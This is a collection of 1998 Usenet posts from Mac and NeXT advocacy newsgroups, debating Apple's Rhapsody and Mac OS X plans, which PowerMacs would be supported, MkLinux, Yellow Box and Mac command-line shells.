References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <1dc5a0z.gy73ut1b1nfl4N@ip206.albnxr2.ras.tele.dk> <FIiROLCWddLd-pn2-BD57ORu6yudN@localhost>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
taiQ <pit@iohk.SPAM-NOT.com> wrote:
> > Replace the computer when you have ascertained it can no longer be used
> > with the newest OS version - and if you _need_ this version.
> >
> > And then - sell the old computer, give it away to family or use it as a
> > UNIX [MkLinux] box. In general, the newest computers aren't supported by
> > MkLinux, the old NuBus based are.
>
> We're talking about '97 Macs here, with many of the models being
> actively sold well into this year and even today. Sold as
> "Rhapsody-compatible".
Well, you replaced [I think] your first generation PowerMac in order to
be able to use the to-come operating system. I didn't, and it will still
run the newest OS for at least the next two years. When it becomes
obsolete, so will your computer bought last year :-).
When, finally, it becomes obsolete and I _really_ need a new computer, I
will have to buy a new one. But a computer bought in order to run the
new OS, not a vaporware OS.
And then I can use the old 6100/60/72, probably with a 240 MHz G3 card
with a 1 M backside cache, for UNIX [MkLinux]. Or use it as a server. Or
sell it. Or give it to friend or family.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Tue, 14 Jul 1998 13:44:47 -0500
Organization: Ericsson North America Inc.
Message-ID: <35ABA71F.64A649B5@ericsson.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <gmgraves-1407980916110001 <6og79u$pg8$1@vixen.cso.uiuc.edu>
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willis sean timothy wrote:
>
> Michael Peck (Michael.Peck@ericsson.com) wrote:
> : I daresay Henry Norr has seen a bit more of Apple's history than, say
> : (off the top of my head), someone like Scott Anguish. Pretending to be
> : the lone voice of reason sounds like so much naivete, coming from a
> : relative newbie to the Apple culture.
>
> I do believe that just a month or two ago, Scott took the opportunity to
> answer similar statements by reminding the public of his prior career as a
> Macintosh developer. If this was indeed him, your statements would be
> considerably off-base.
It doesn't even matter whether Scott was a Macintosh developer "once
upon a time", whenever and for however long that might have been. It has
nothing to do with his current disposition toward making statements
based on his "inside track" which fly in the face of evidence and stoop
to insulting disagreeing parties. Remember Ric Ford's open letter to
Steve Jobs last year? Remember Steve's reply? Anyone remember how Ric
was then called up by Jobs and given "the inside track" on the future? I
believe it's known as "reality distortion field", no? Inside track, my
ass.
Scott is anything but qualified to disparage the likes of Henry Norr.
That's undisputable. Oh, I know how the NeXT community likes to hold
itself above the Mac community, which would obviously make media
personalities like Scott Anguish more credible than longtimers like
Norr. But do try to restrain some of that. It makes my stomach turn to
see Norr's name dragged through the dust in a public forum when he has
done nothing to merit such treatment.
MJP
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X HW support: the too slow arguement
Followup-To: comp.sys.mac.advocacy,comp.sys.next.advocacy
Date: 14 Jul 1998 17:16:00 GMT
Organization: University of Illinois at Chicago
Message-ID: <6og3og$19qo$1@piglet.cc.uic.edu>
References: <Pine.SOL.3.96.980713140746.20742A-100000@ux7.cso.uiuc.edu> <B1CFE27C-C238@206.165.43.144> <35aad934.0@news.depaul.edu> <joe.ragosta-1407980752310001@wil55.dol.net>
Joe Ragosta (joe.ragosta@dol.net) wrote:
: Actually, I could see it for graphics professionals:
: One or more fast video cards
: One or more ultra2 SCSI cards
: One or more fast Ethernet cards
: Video capture card
: And so on.
: Of course, it's worse in the PC world. My PC has 4 PCI slots--all full,
: while my Mac has 3, 2 of which are empty.
: --
: Regards,
: Joe Ragosta
: http://www.dol.net/~Ragosta/complmac.htm
3D accelerators, firewire adapaters, SSA or Fibre Channel adapters,
speciallized sound boards for AV types, the list goes on.
What would be interesting is if Apple could implement something like
the serial I/O interface used in the RS/6000 S70. The system unit
with processors and memory is separate unit from the I/O cabinet(s).
They are connected by a very high speed point to point serial interface
IBM calls RIO (remote I/O). You can configure a system with upto
four I/O drawers, each of which consists of a mixture of 14 32 bit
and 64 bit PCI slots, in up to four I/O cabinets for a total of
56 slots. Storage also goes in the cabinets. Of course this
implementation would be overkill for most graphics applications a
Mac user could probably come up with. However the concept is a good
one and ought to be standardized. Imagine an iMac that has only
five serial ports in the back: 2 USB, 1 FireWire, 10/100/1000 Ethernet or
ATM, and a remote serial PCI port.
From: not@a.valid.email.add (Michael M. Eilers)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 14 Jul 1998 11:11:16 -0700
Organization: Fearful Symmetry Designs
Message-ID: <not-1407981111160001@2-25.phx.psn.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost>
NNTP-Posting-Date: 14 Jul 1998 18:09:31 GMT
Mail-Copies-To: eilersm@azstarnet.com
`vmEi&(y';5Th{Li4G1HXItb0_)&PWr
In article <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost>,
pit@iohk.SPAM-NOT.com (taiQ) wrote:
> Ah, the great re-naming game. When was Mac OS X Server announced
> again? Last week? And was it really "announced"? Are current '97-'98
> G3's absolutely certainly going to be Mac OS X compatible when/if it
> finally ships in late '99? See where this leads?
Frankly, I don't. Apple today announcing Mac OS X is an entirely different
company than the Apple that announced Copland. Back then they were a
totally disorganized bunch of nerd/hippie hybrids being run by a former
cola executive and with a board stocked by companies that would profit if
Apple folded. Now they have a new board, an almost-CEO willing to kick
serious ass, and all the hippies got their 6-month-paid-leave revoked.
Copland I never expected to see--but but Mac OS X will be in my hand on
the ship date, I am quite sure. It will run on anything with an Apple
motherboard G3 and up, period. By 1999 owning anything else and expecting
to be on the cutting edge will be a laughable proposition.
> > Why have you all forgotten a very obvious point? Development on Allegro
> > (8.5) is going to continue in parallel with Mac OS X, with features
> > migrating "downstairs" from OS x the whole time. Both OS 8/9 and OS X
> > (with OS X Server) are going to co-exist the whole time, and the 601-604e
> > OS's will continute to exist for the future. No, you won;t be able to run
> > the latest and greatest, but trust me, NT 5.0 isn't going to run on any
> > 486 (and perhaps nothing below Pentium II.) There is a far distance
> > between "getting shafted" and just getting second place in line.
>
> I have not forgotten the point Allegro was supposed make. Parallel
> development was, until recent policy changes, due to lack of seamless
> Blue Box (remember that?) in Rhapsody, and to support if not '040's at
> least the host of first generation Nubus-based Powermacs. A "601-604e"
> OS is an alien and unwelcome new concept to me.
Not the case at all. Paralell development on OS 8 was for the people who
would find the new UI and server-side sophistication of Rhapsody too
confusing or intimidating. OS 8.5 and above *is* designed to support all
PPC macs, and will do so in the future.
There will be a definite split in the market: 8.5 and 9 for Non-G3
machines, OS X and OS X-compliant apps for G3 and above. Carbon-enhanced
apps *will not* run on OS 8.5 or below, ever, but will run on OS 8.6 and
above. All of this is official Apple policy, quoted from several sources
including Macintouch and MacNN.
> I couldn't care less what NT does or does not run on. ;-) And M$
> isn't a supplier of integrated solutions (or any solutions if you
> asked me) like Apple is, and I didn't buy a PC last year on the
> promise that NT 5 would run on it.
But you DID buy a Macintosh on the promise that Rhapsody would run on it??
What, you only have common sense on the PC side?
As for Microsoft not being a supplier of "integrated solutions"--try and
buy a consumer PC without Win 98 or NT pre-installed.
> Is "getting second place in line" an euphemism for getting shafted? Do
> you have a recent Powermac that, if the recent policy U-turn stays in
> place, will become unsupported under Mac OS X (the OS formerly known
> as Rhapsody - TOFKAR)?
I currently have a Power Computing Power Center Pro. Neither Rhapsody nor
OS X will ever run on it. Do I feel shafted? Hell no. I bought this
machine well over a year ago; by the time OS X is boxed and ready to run
it will be 3 years old, and I will have sold it long ago for an Apple G3
(or even better a MP G4). I'm not one of those disgusting whiners who
dropped $2000 on a 603e four years ago and now breaks into crying fits at
the idea of spending one dime more upgrading it. Computers cost money,
dammit! Anyone who has ever bought a computer and expected to never buy
one again is just plain ignorant in the extreme--as stupid as buying a car
and thinking the only expenses will be gas, oil, and air filters, and it
will last forever.
I've paid money to stay on the cutting edge, and so will everyone else who
really wants and needs the capabilities of an OS like Mac OS X. Why do
people babble about "protected memory" like they have some inalienable
right to it--like Apple "owes" them this capability for free? Have any of
them priced NT Server?
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
"Eureka! I smella!" --chant of a 4-year-old out by the pool
Michael M. Eilers * Fearful Symmetry Designs
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 14 Jul 1998 19:06:02 GMT
Organization: MiscKit Development
Message-ID: <6oga6q$iv$1@news.xmission.com>
References: <6odhav$6iu$1@server.signat.org> <6odln1$2dt@shelob.afs.com> <35aa6842.0@news.depaul.edu> <6ods6g$g5u$1@news.digifix.com> <macghod-1307981459460001@sdn-ar-001casbarp304.dialsprint.net> <6oe13t$hm7$1@news.digifix.com> <not-1307981747020001@3-86.phx.psn.net> <6oeict$msj$1@news.digifix.com> <not-1407981048300001@2-25.phx.psn.net>
NNTP-Posting-Date: 14 Jul 1998 19:06:02 GMT
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <6oeict$msj$1@news.digifix.com>, sanguish@digifix.com (Scott
> Anguish) wrote:
> > I'm telling you what I've been told by people at Apple who
> > have intimate knowledge of what is happening. This as recent as this
> > morning.
>
> Ah yes, the mysterious "people at Apple" that I'm sure you know very
> well... [...].
>
> I'm not naieve, scott, but I fear that you are. Aren't you aware that
> Apple is a huge company, and that decisions (since Jobs showed up) come
> from the top down?
>
> I wouldn't trust any source at Apple besides Steve Jobs [...]
Are you NOT aware that Jobs is one of Scott's information sources?
Now, whether or not Jobs tells truth or lies to Scott is certainly worthy of
speculation, but Scott's sources are very high up at Apple, including as high
up as Jobs himself in some cases.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: Pulsar <tokarek@uiuc.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 11:58:48 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <Pine.SOL.3.96.980714114004.13773B-100000@ux5.cso.uiuc.edu>
References: <6oet38$1pvc$1@piglet.cc.uic.edu>
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In-Reply-To: <6oet38$1pvc$1@piglet.cc.uic.edu>
On 14 Jul 1998, Anil T Maliyekke wrote:
> Pulsar (pulsar@springnet1.com) wrote:
<snip>
> : That means that Apple can spend up to 10 million dollars on getting Mac
> : OS X to run on these older PowerMacs and still _at least_ break even.
>
> : Let's try to examine the costs for getting Mac OS X to run on these
> : machines.
<snip>
> : This is a total of $160,000.
>
> : Let's assume that the figure is off by a factor of 50!
>
> : 50 * $160,000 = $8,000,000.
>
> : So assuming that the real cost of getting Mac OS X to work on these
> : machines is 50 times more than I estimated, then Apple will _still_ make
> : a profit off of selling Mac OS X to pre-G3 PCI PowerMac owners!
>
> I couldn't tell you if these numbers reflect reality,
They almost certainly don't. The profit from sales of the OS would
probably be a lot higher. The cost of getting Mac OS X to work on the
machines in question would likely lay on the lower to middle sideof teh
$160,000 to $8,000,000 range
> but I do suspect
> things would probably take longer than 6 weeks. The hourly rates seem a
> bit high, but the number of people seems a bit low. Considering how much
> trouble Apple has had in the past in getting Mac OS releases to work on
> the various machines they have released even though they aren't starting
> from scratch, I could easily imagine it becoming a much more expensive
> proposition, especially when you factor in overhead on the additional
> developers and testers and the additional support people familiar with the
> older systems that will be necessary for post-sale support.
Apple already has to support these older systems and will continue to have
to for a while. By the time Mac OS X is released (assuming Apple can stick
to the plan), these machines will have only ceased selling one year
before. That is not nearly long enough to drop technical support (I don't
think).
Furthermore, the high level parts of Rhapsody and Mac OS X interface with
the kernel. They do not interface directly with the hardware (in general).
The layer of abstraction is much more concrete than with the Mac OS where
things are so interrelated and hacked together. There was little effort to
make the Mac OS independent of the hardware. Copland would have broken
this dependency on particular hardware (it was to have a Hardware
Abstraction Layer), and Rhapsody/Mac OS X which are based on OpenStep are
very well abstracted from the hardware. One of the major points to
OpenStep was its portability and modularity.
> : Even if it doesn't end up being immediately profitable for Apple to support
> : Mac OS on these machines, it will be better for the platform and therefore
> : better for Apple in the long run if Apple supports as many machines as
> : possible.
>
> No one said it would be decision for Apple to make. Certainly it will
> anger some people. But I don't know if it will cause a significant
> defection. I suspect a lot of people are probably going to buy one of the
> newer machines anyway, and that a lot of people were holding off from
> buying a new machine because they weren't sure if Apple would be around.
It could be. I do not like the precedent, and there has been a significant
uproar at least at www.xlr8yourmac.com. Michael Breeden had been (and may
still be for all I know) 2 to 3 hundred emails per day on this issue. Most
of these people were angry that Apple would do this.
> I guess we'll have to see what will happen. There still is plenty
> of time for Apple to change their minds. I think they will have to
> get a handle on what the task really involves before they will
> commit to supporting older machines. I hope they are just being
> conservative in what they think they can accomplish.
I hope so too, but I want to make sure that my voice is heard on this
issue and that other people are aware of what Apple may be doing. If we
say nothing and just hope that Apple will do what we want, then we are
setting ourselves up for disappointment. If all we do is bicker about it
on the newsgroups <g> and never let Apple know, then we set ourselves up
for disappointment. (Bickering _and_ letting Apple know is fine though. :)
I'm not asking for an immediate commitment from Apple that it will support
these machines. I want some evidence that Apple is seriously considering
support for these machines. If Apple finds that it would be unreasonable
because of time constraints or somesuch, then I will understand. I might
not be happy about it, but in that case I won't be angry.
Right now Apple has given no indication that it's even seriously
considered support for these machines. So far it looks like a move to try
and force owners of these machines like me to buy new machines just to
increase its profits and not because of any particular technical reason.
It is that policy which will earn my disgust and forsaking of the
platform.
You're right though... we'll see what happens.
Ryan Tokarek
<tokarek@uiuc.edu>
<http://www.ews.uiuc.edu/~tokarek>
From: Galen Rutledge <rutledge@pigeon.qut.edu.au>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc,comp.sys.mac.system
Subject: Re: Apple, replace g3's floppy with superdisk!!
Date: Wed, 15 Jul 1998 02:15:56 +1000
Organization: Queensland University of Technology, Australia
Distribution: world
Message-ID: <Pine.OSF.3.92.980715021305.13005B-100000@pigeon.qut.edu.au>
References: <jpolaski-0707980933270001@d151-216.ce.mediaone.net> <6nvdvi$r15$1@news12.ispnews.com> <jpolaski-0907980849330001@d151-216.ce.mediaone.net> <6o2igm$ss6$1@news0-alterdial.uu.net> <6o34ih$bac$1@callisto.acsu.buffalo.edu> <6o3iuf$u1e$1@nnrp1.dejanews.com> <macghod-1107981158280001@sdn-ar-001casbarp259.dialsprint.net> <6od270$vt9$1@ins8.netins.net> <35aa8d72.340166712@news.clark.net>
Mime-Version: 1.0
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In-Reply-To: <35aa8d72.340166712@news.clark.net>
On Mon, 13 Jul 1998, John wrote:
>On 13 Jul 1998 13:31:12 GMT, icky@bleet.moo.isu.edu (Ikabode Krane)
>wrote:
>
>
>>>So many pedestrians, so little time.
>>
>>Does it have an auto-eject function? If I have to push a button to get the
>>floppy out, I consider that a step backwards. Perhaps the wintel sheep can
>>live with *manually* ejecting a floppy but after 12 years on a Mac, I can't.
>>
>>Icky
>>
>>(Same goes with 2 button meese, if god intended me to have to make a choice
>>on which button to push he would have made the Mac with a two button mouse)
>>
>
>Does your car also have those annoying brake pedal AND acceleration
>pedal? How about that stupid TV remote with the Up and Down arrows to
>move through the channels.
>
>Obtw troll, you can get a 2 button mouse for your Mac.
I think if it really were a troll, it would have been cross posted up
the yin-yang. As it was it was posted to only Next and Mac NG's.
It just looked to me like jocularity.
Lighten up.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 10:10:42 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1407981010420001@dante.eng.uci.edu>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <rmcassid-1307981710550001@dante.eng.uci.edu> <MPG.1014a5b7d9adc373989992@news.supernews.com>
In article <MPG.1014a5b7d9adc373989992@news.supernews.com>,
don.brown@cesoft.com (Donald Brown) wrote:
>> I'm learning this the hard way as my dad's 1400 will _support_ 64MB of
>> RAM, but there seems to be no way of actually getting 64MB in there...
>>
>> -Bob Cassidy
>>
>You use two 24 megabyte modules.
But there is only 8 soldered with an additional 8 in one slot according to
the Apple Spec. So that makes 56MB.
-Bob Cassidy
From: xerxes@diku.dk (=?ISO-8859-1?Q?Per_Erik_R=F8nne?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 14 Jul 1998 19:46:47 +0100
Organization: DIKU
Message-ID: <1dc65nk.1v79uuvobynmhN@ip228.albnxr2.ras.tele.dk>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <Pine.SOL.3.96.980709101146.16873A-100000@ux7.cso.uiuc.edu> <6o721r$1log$1@piglet.cc.uic.edu> <Pine.SOL.3.96.980713160624.6998A-100000@ux10.cso.uiuc.edu> <6oe0e0$u3k$1@piglet.cc.uic.edu> <1dc5ara.kuxawe14pa101N@ip206.albnxr2.ras.tele.dk> <slrn6qmo5o.bvt.jason@jhste1.dyn.ml.org>
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/>C@|s&Og$a~PWByK#FcE"c1eV]<oBYWgsvFx)X.1IV=wcC9^!onQ4M8ewM
Jason S. <jason@jhste1.dyn.ml.org> wrote:
> Per Erik Rønne posted the following to comp.sys.mac.advocacy:
>
> >> Does MkLinux (using the Mach 3 kernel) run on 603e's yet?
>
> >With MkLinux, the old 6100/7100/8100 line of cumputers are better than
> >the 603e line!
Because these first PowerMacs were the first to be supported. And it is
a long time ago since I have heard about bugs - when talking about these
NuBus PowerMacs.
--
Per Erik Rønne
E-mail: xerxes@diku.edu.dk
Homepage with pgp public key: http://www.diku.dk/students/xerxes
Remove '.edu' before e-mail [anti-spam]
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 14 Jul 1998 17:49:02 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <35b07be4.355817011@news.supernews.com>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net> <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM> <OC4xcsNl9GA.197@upnetnews05> <01bd9569$197effa0$8383050a@bgravitt.CORP.VHA.COM> <6o6l95$91s$1@nnrp1.dejanews.com>
Mime-Version: 1.0
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wiggin@my-dejanews.com, on Sat, 11 Jul 1998 03:13:41 GMT,
>oh come on! You know perfectly well where Sun wants to go with Java. Sun
>would like PC users to switch to NCs that only run Java. I personally would
>rather have one computer that can be developed for with several languages than
>one language that can build apps for all computers.
So far, so good. And for extra credit, what will Sun do with Java when
this has been accomplished?
>and another thing, Java is really not that appealing in terms of power. If
>Java is the symbol of the future of cross-platform computing, then I'd like to
>see Microsoft or at least someone take over and annhilate the idea of cross-
>platform once and for all!
The PC hardware platform itself proved the point: it doesn't matter if
it is powerful; what matters is that it is standard. Vendor independent
standard. Think about it.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: tph@longhorn.uucp (Tom Harrington)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 14 Jul 1998 17:16:37 GMT
Organization: Mechanist Industries
Message-ID: <6og3pl$eqq2@eccws1.dearborn.ford.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <Josh.McKee-1307982004310001@pm3a3.rmac.net>
Joshua T. McKee (Josh.McKee@cbns.com) wrote:
: Apple should then spend money on testing systems that it misled purchasers
: into buying. Apple claimed that "all current shipping Macs" would run
: Rhapsody. While OS X may not be "Rhapsody" in Apple's eyes, it is the
: "next generation" OS that Rhapsody was to be. So I don't think it
: unreasonable to expect that if Mac OS X replaces Rhapsody, then it should
: run on the systems Apple led consumers to believe would run Rhapsody.
: Especially if OS X is very close to Rhapsody.
You're confused. MacOS X has not replaced Rhapsody. MacOS X is
basically Rhapsody 2.0. The initial release of Rhapsody is still
planned for later this year, and is the same system that they've
promised all along. Rhapsody _will_ run on the Macs shipping at
the time of the initial announcement, or most of them at least,
because the current developer release already does. You're upset
at losing something that is not actually gone.
: I'm the owner of a PowerPC 8100/80 that was suppose to run Apple's "next
: generation" OS (at the time, Copeland). While OS 8.1 works great for me,
: I can't use my computer with the software Apple promised I could run on
: it. Is the 8100/80 to slow? Perhaps, but at the time I purchased the
: system, the "next generation" OS was "just around the corner". I have
: been thinking of replacing this system with a newer one (G3, they're at a
: really good price). However, I don't want to purchase a new computer
: thinking it will run OS X...especially when the 8100 works very well for
: what I do (IE, I don't need OS X's capabilities). I had thought about
: purchasing an 8500/233 a while ago...thinking that it would run the "next
: generation" OS from Apple. Now I'm glad I held out...that would have been
: twice!
It would appear that you've learned a valuable lesson here. Never
buy hardware on the promises of future software releases.
--
Tom Harrington --------- tph@rmii.com -------- http://rainbow.rmii.com/~tph
"You know how dumb the average person is? Well, by definition, HALF
of 'em are dumber than THAT!" -J.R. "Bob" Dobbs
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cookie/cookies-revenge.sit.hqx
From: tph@longhorn.uucp (Tom Harrington)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted (was: Re: OS X: Installed base
Followup-To: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Date: 14 Jul 1998 17:26:46 GMT
Organization: Mechanist Industries
Message-ID: <6og4cm$eqq3@eccws1.dearborn.ford.com>
References: <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <B1D0421E-D3B03@207.114.1.115>
Gary Curtis (gcurtis@abs.net) wrote:
: You really hit the nail on the head for me. I bought a PB3400 in
: December based
: in large part on the promises that Rhapsody would run on all PPC PCI
: machine
: sold as of '97.
: Now what do we here? Despite the fact the Rhapsody DR2 (to become
: MacOS X)
No!
Rhapsody DR2 -> "MacOS X Server" (just a name change, runs on same systems)
Rhapsody 2.0 -> "MacOS X" (major update, may not support the same systems)
--
Tom Harrington --------- tph@rmii.com -------- http://rainbow.rmii.com/~tph
"The less I seek my source for some definitive, the closer I am
to fine." -Indigo Girls, "Closer to Fine"
Cookie's Revenge: ftp://ftp.rmi.net/pub2/tph/cookie/cookies-revenge.sit.hqx
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 14 Jul 1998 17:10:36 GMT
Organization: Indiana University, Bloomington
Message-ID: <6og3ec$2vd$1@flotsam.uits.indiana.edu>
References: <6n6a2e$21s$1@news.cmc.net> <6odcgk$6ah@nntp02.primenet.com> <christian.bau-1407980951520001@christian-mac.isltd.insignia.com> <6ofp70$mf6@nntp02.primenet.com>
In article <6ofp70$mf6@nntp02.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
>There were about a half dozen Mac CLIs. You can see a little on the one I
>wrote by searching Info-Mac for "nShell".
>
>Now that MPW is a free download the other shells hardly matter, but if we
>are discussing why shells did not catch on earlier, I'll stick with "lack
>of standards" and add "politically incorrect".
The Macintosh shells I've played with really weren't very useful compared
to the Unix shells. They had a very limited subset of utilities, and
usually limited functionality when it comes to passing parameters to and
from programs, piping it around, and general shell programming. I'm sure
there's at least one payware shell I saw that offers much of that
functionality, but I only played with the demo, which couldn't. I'm
also pretty sure tools written for that shell won't work with others.
And Mac programming generally has a large, monolithic point of view,
rather than the filters and streams of point of view. The GUI is very
well suited for that.
--
"Don't just do something, stand there!" - Buddha
From: Tim Triemstra <nospam@nospam.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Yellow Box future?
Date: Tue, 14 Jul 1998 13:19:07 -0700
Organization: PM Global Foods, LLC
Message-ID: <35ABBD3B.C76D8F4@nospam.com>
References: <35AA8501.CF6AAF27@nospam.com> <6odmus$fin@newsb.netnews.att.com> <6oe4t8$2ku$1@vixen.cso.uiuc.edu>
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willis sean timothy wrote:
>
> Even better, the Rhapsody FAQ: Date: June 20, 1998
>
> http://gemma.apple.com/rhapsody/rhapfaq/5.html
>
> Will my Rhapsody 1.0 Yellow Box (or OpenStep) applications run on Mac OS X?
>
> Yes. We will provide a high degree of source compatibility
> with pre-Mac OS X Yellow Box applications.
So they keep the compiler. My concern isn't "will they still run Yellow
Apps", my concern is what happens when they release QuickTime 4.0 or
other new technologies. Are the APIs going to be designed to work well
with the dynamic, ObjectiveC-based YB libraries or will they be more
similar to the old Carbon APIs? If everything for the YB is a delayed
bridge to the standard Carbon-style APIs then that would be a real let
down. It would also make me wonder just how portable a good, new Yellow
App would be to the Windows platform.
> Is the Yellow Box in maintenace mode?
>
> No. We will continue to grow and evolve the Yellow Box, in
> terms of both features and performance, as demonstrated by the Yellow Box
> enhancements in Rhapsody DR2. In addition, we will work to provide better
> interoperability with Java.
What about after Rhapsody 1.0? Will Yellow Box be primarily for
developing server software, while new technologies are pushed under the
Carbon APIs? Using one beta as better than another beta is kinda
irrelevent when they are already talking about completely dumping a
platform (Mach for Intel) after the 1.0 release. I want them to say
"all new apps should be developed in YB as of Mac OSX's release."
> Will the Yellow Box continue to be available on Windows?
>
> Yes. Cross-platform development is the key feature of the
> Yellow Box.
Its key as long as Apple has to support the fewest posible
cross-platform versions? That is a very hollow statement all things
considered. The only cross platform announcements that have been made
have been the canceling of platforms. Once NT5 comes out, how many want
to bet it takes a little while before YB for Windows is up to snuff?
BTW: How come my PC version of DR2 never arrived? :) Neither did my DR2
for Windows...
--
Tim Triemstra . TimT at PMGLOBAL dot COM
PM Global Foods, LLC ... Atlanta GA USA
My home page: www.mindspring.com/~timtr
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 14 Jul 1998 10:17:06 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1407981017060001@dante.eng.uci.edu>
References: <6n0q8j$o4j$1@ndnws01.ne.highway1.com> <3593EEF0.4785E327@nstar.net> <6n11me$sen$1@ndnws01.ne.highway1.com> <35941317.FC21AD89@nstar.net> <6n1s6g$ldf$1@ndnws01.ne.highway1.com> <35950368.F8A5D7A7@nstar.net> <6n3g42$1nf$1@ndnws01.ne.highway1.com> <andyba-ya02408000R0107981550100001@news> <6nekto$j0g4@odie.mcleod.net> <Pine.SOL.3.96.980702105957.24877C-100000@ux10.cso.uiuc.edu> <uzpendo55.fsf@ai.mit.edu> <Pine.SOL.3.96.980706144344.8864A-100000@ux9.cso.uiuc.edu> <6oddfc$c88$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980713131556.7501A-100000@ux7.cso.uiuc.edu> <6odtu6$lh3$5@lwnws01.ne.highway1.com> <rmcassid-1307981726050001@dante.eng.uci.edu> <6oegt8$672$1@lwnws01.ne.highway1.com>
In article <6oegt8$672$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
>> Just so long as they keep platinum in there.
>
